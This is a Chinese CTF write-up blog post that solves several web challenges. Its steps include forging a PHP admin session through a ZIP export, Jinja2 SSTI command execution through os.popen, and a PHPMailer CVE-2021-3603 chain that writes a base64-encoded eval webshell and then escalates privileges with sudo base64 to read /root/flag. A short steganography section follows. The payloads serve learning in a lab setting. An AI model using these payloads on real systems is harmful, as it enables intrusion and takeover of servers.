这一题就是[HarekazeCTF2019]Easy Notes
给了源码,admin界面会给flag,逻辑是:
if (is_admin()) {
echo "Welcome, Admin, this is your secret: "
. file_get_contents('/flag') . "
";
} else {
echo "You are not an admin :(";
}
is_admin()函数在lib.php中定义
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}
而在add_note()函数中可以看到note也是存在session中$_SESSION['notes'] = $notes;
,而$notes内容可控,所以可以利用note来伪造admin session
function add_note($title, $body) {
$notes = get_notes();
array_push($notes, [
'title' => $title,
'body' => $body,
'id' => hash('sha256', microtime())
]);
$_SESSION['notes'] = $notes;
}
关于php session:
admin|b:1;pass|s:6:"aaaaaa";
1 . session文件名要求:以
sess_
开头,且只含有a-z
,A-Z
,0-9
,-
2 . Ubuntu默认安装的PHP中
session.serialize_handler
默认设置为php
,而这种引擎特点是即可使用|
作为键值隔离符。利用|
即可将序列化字符串拼接
再看export.php
,只对$type === 'tar'
校验,没有校验zip,所以可以利用$archive->open
,写一个新的文件,装作是admin的session,修改Cookie就可以读到这个session啦
require_once('init.php');
if (!is_logged_in()) {
redirect('/?page=home');
}
$notes = get_notes();
if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
//get_user()所以我们注册的用户名应该是sess_
$filename = str_replace('..', '', $filename); // avoid path traversal
//php的session文件名不能有点,所以利用str_replace把$filename中拼接的.去掉,$type=.
$path = TEMP_DIR . '/' . $filename;
if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
//只对`$type === 'tar'`校验,没有校验zip,所以可以利用`$archive->open`,写一个新的文件
}
for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
//对note的title做过滤,构造时候要注意
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}
if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}
header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
//header会返回文件名
header('Content-Type: application/zip');
readfile($path);
最后整理一下思路:
sess_
的用户|N;admin|b:1;
|N;是为了前面的数据闭合,N代表null类型
序列化变量类型
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
/export.php?type=.
Cookie: PHPSESSID=-44e1cf569379b3f0
/static/js/user-agent.js
(function (){
if (navigator.userAgent="Admin/5.0"){
window.location.href="http://"+window.location.host+"/view_template?string=1"
}
})
需要伪造agent发包,然后ssti瞎fuzz一通,发现只有{{self.__dict__}}
有回显
/view_template?string={{self.__dict__}}
{'_TemplateReference__context': <Context {'url_for': <function url_for at 0x7fe3397dd050>, 'g': <flask.g of 'app'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'request': <Request 'http://121.40.89.206:5000/view_template?string=%7B%7Bself.__dict__%7D%7D' [GET]>, 'lipsum': <function generate_lorem_ipsum at 0x7fe33a2c1b50>, 'range': <type 'xrange'>, 'session': <NullSession {}>, 'dict': <type 'dict'>, 'get_flashed_messages': <function get_flashed_messages at 0x7fe3397dd1d0>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>} of None>}
看到'cycler':
类,想到一个构造payload的方法
/view_template?string={{self.__dict__._TemplateReference__context.cycler.__init__.__globals__.os.popen('whoami').read()}}
给了源码,显然是PHPMailer主场,版本"phpmailer/phpmailer": "6.4.1"
,有个CVE-2021-3603 PHP Mailer 最新代码执行漏洞,漏洞函数是validateAddress(),本体中两个参数都可控
\vendor\phpmailer\phpmailer\src\PHPMailer.php中定义该函数
public static function validateAddress($address, $patternselect = null)
{
if (null === $patternselect) {
$patternselect = static::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address); //命令执行点
}
……
index.php中引用:
error_reporting(0);
session_start();
//Import PHPMailer 6.4.1 classes into the global namespace
//These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
//Load Composer's autoloader
require 'vendor/autoload.php';
//Instantiation and passing `true` enables exceptions
$mail = new PHPMailer(true);
$mail->validateAddress($address = $_GET['addr'], $patternselect = $_GET['select']);
………………
题目也给了info.php,disable_functions很多,可能没法直接命令执行(后来发现可以assert写马)
index.php看到最后,就会发现定义了一个没引用过的函数,这就是我们的利用点( validateAddress()执行smtp_logs函数
function smtp_logs($log_name){ // Record your SMTP information
$log_path = 'logs/'.md5("Mockingjay".$_SERVER['REMOTE_ADDR']);
@mkdir($log_path);
chdir($log_path);
file_put_contents($log_path.'/index.php', ''); //我觉得好奇怪,为啥这句没执行……
if(isset($log_name)){
$log_name = isset($log_name) ? $log_name : date('-Y-m-d');
$smtp_log = $_SESSION['smtpserver']."\n".$_SESSION['smtpuser']."\n".$_SESSION['smtppass'];
//这个SESSION是在settings.php中设置的,也都是可控的
$smtp_log = htmlspecialchars($smtp_log, ENT_HTML401 | ENT_QUOTES); //html实体化$smtp_log
$blacklists = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml");
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), $blacklists, true)) {
//pathinfo检测后缀,不过可以绕过
file_put_contents($log_name, $smtp_log);
$filepath = $log_path.'/'.$log_name; //$log_name也可以写目录穿越,不过没啥用
echo $filepath;
}
}
}
如果我们想上传自己的小马,需要绕过两个函数,htmlspecialchars和pathinfo,参考这篇www.anquanke.com/post/id/253383
利用 1.php/.
绕过对后缀名的检测,然后利用php伪协议绕过htmlspecialchars
payload:
POST /settings.php
……
smtpserver=1.com&smtpuser=PD9waHAgZXZhbCgkX1BPU1RbJ2NkJ10pOz8%2b&smtppass=123
POST /index.php?addr=php://filter/write=convert.base64-decode/resource=3222.php/.&select=smtp_logs
……
然后利用蚁剑插件绕过disable_functions,命令执行,根目录有hint提示flag在root下,需要提权,参考:linux 提权-sudo提权
(www-data:/var/tmp) $ cat /etc/sudoers
root ALL=(ALL:ALL) ALL
www-data ALL=(ALL) NOPASSWD: /usr/bin/base64
sudo /usr/bin/base64 /root/flag
//我开始不知道一定要加sudo……而且我以为/usr/bin/base64 /root/*也是可以的
好菜,比赛时候没出来,想不到是四个一组统计频率,是我二进制的敏感性不够吗( 01是74096个字符,74096/(各个键值的和)=4
)
第一步是零宽,这次我学到vi可以看出来有零宽
[('5', 1170), ('2', 1181), ('6', 1245), ('1', 1109), ('7', 1235), ('A', 1093), ('0', 1181), ('4', 1102), ('B', 1117), ('D', 1142), ('C', 1188), ('8', 1132), ('9', 1101), ('E', 1166), ('3', 1206), ('F', 1156)]
一个python
import re
string1 = "10011010111100111110101010100011001100001011111010110011101110110011001011101001100100001001100110110100101100111011100110111110101110111011111110110011101100110110101111001110010110111011101111……"
st1 = re.findall(r'\w{4}', string1)
dict1 ={}
for i in st1:
if i not in dict1.keys():
dict1[i]=1
else:
dict1[i]+=1
print(dict1)
#{'1001': 1170, '1010': 1181, '1111': 1245, '0011': 1109, '1110': 1235, '0000': 1093, '1011': 1181, '0010': 1102, '0100': 1117, '0110': 1142, '1100': 1188, '0101': 1132, '0001': 1101, '1000': 1166, '1101': 1206, '0111': 1156}
#试一下数量对的上
然后利用零宽得到的信息进行换表,得到一个rar,然后Unicode Bidirectional Algorithm BIDI算法得到文本
本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!